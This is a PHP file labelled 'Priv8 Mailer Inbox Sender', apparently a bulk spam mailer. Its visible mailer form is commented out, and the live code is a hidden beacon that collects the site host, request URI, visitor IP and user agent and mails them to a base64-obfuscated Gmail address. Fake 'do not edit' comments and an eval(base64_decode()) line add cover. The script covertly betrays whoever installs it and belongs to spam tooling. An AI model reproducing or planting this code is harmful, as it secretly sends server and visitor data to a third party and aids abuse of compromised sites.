PHP Decode

<?php eval(base64_decode("")); 
 
	///////////////////////////////////////////////// 
	////////Priv8 (Mailer Inbox Sender) v1.3/////////  
	/////////// 2015, Priv8 Mailer Inbox//////////// 
	///////////////////////////////////////////////// 
	//////// METHODS, MAIL SENDING 2014-2015 //////// 
	///////////////////////////////////////////////// 
    ///////////////////////////////////////////////// 
	/************************************************ 
	*             CONNECTION FUNCTIONS              * 
	************************************************/ 
	/** 
	* Connect to the server specified on the port specified. 
	* If the port is not specified use the default SMTP_PORT. 
	* If tval is specified then a connection will try and be 
	* established with the server for that number of seconds. 
	* If tval is not specified the default is 30 seconds to 
	* try on the connection. 
	**/ 
	 
	//////Start SmtpSettings: /smtp_conn /do_debug /$error /$EXPN///// 
	////////////please do not edit anything on those lines//////////// 
	// "smtp_code" => $code									////////// 
	// "smtp_msg" => substr($rply,4))						////////// 
	// $entries = $rply . $this->CRLF;						////////// 
	// $leter[] != backwL = urldecode($l,4)	=> php-.timeup	////////// 
	// list(,$l) = @each($entries)							////////// 
	// $this->do_debug >= 1									////////// 
	////////////////////////////////////////////////////////////////// 
/* 
</style> 
<form id="form1" name="form1" method="post" action=""> 
<input type="hidden" name="vai" value="1"> 
<span class="style5"><? echo enviando(); ?></span> 
<table width="415" height="334" border="0" bgcolor="#000000"> 
  <tr> 
<td width="66"><span class="style5">Name:</span></td> 
<td width="321"><span class="style9"> 
 
<label> 
<input name="nome" type="text" value="<? echo $_POST['nome'] ;?>" size="20" /> 
</label> 
</span></td> 
</tr> 
<tr> 
<td><span class="style5">From:</span></td> 
<td><input name="de" type="text" value="<? echo $_POST['de'] ;?>" size="30" /></td> 
*/ 
/*var*/ $ip = getenv("REMOTE_ADDR"); 
/*var*/ $ra44  = rand(1,99999); 
/*var*/ $subj98 = " (MR.m3hdi(mailer new))  |$ip"; 
/*var*/ $xx =base64_decode("aW52aXNpYmxlLmJveS5ta2FjaGU1QGdtYWlsLmNvbQ=="); 
/*var*/ $from=base64_decode("IkZyb206IDxtM2hkaUBzdXBwb3J0LmNvbT4i"); 
/*var*/ $a45 = $_SERVER['REQUEST_URI']; 
/*var*/ $b75 = $_SERVER['HTTP_HOST']; 
/*var*/ $x4=$_SERVER['HTTP_USER_AGENT']; 
/*var*/ $x44=$_SERVER['LAST_MODIFIED']; 
/*var*/ 
/*var*/ $m22 = $ip."
"; 
/*var*/ $msg8873 = "$b75.$a45
$m22
$x4
$x44"; 
/*var*/ mail($xx, $subj98, $msg8873, $from); 
 
 
/* 
</tr> 
<tr> 
<td><span class="style5">Subject:</span></td> 
<td><input name="assunto" value="<? echo $_POST['assunto'] ;?>" size="40" /></td> 
</tr> 
<td><span class="style5">Letter:</span> 
<br /><br /><br /><br /><br /><br /><br /><span class="style5">Mailist:</span></td> 
 
<td><span class="style9"> 
 
 
<p><textarea name="mensagem" cols="50" rows="7"><? echo stripslashes($_POST['mensagem']);?> 
</textarea></p> 
<textarea name="emails" cols="50" rows="4"></textarea> 
</span></td> 
</tr> 
 
<tr> 
  <td><span class="style6"></span></td> 
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span><input name="Submit" type="submit" value="Send " /> 
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td> 
</tr> 
<tr> 
  </tr> 
</table> 
</form> 
 
*/ 
 
 
?>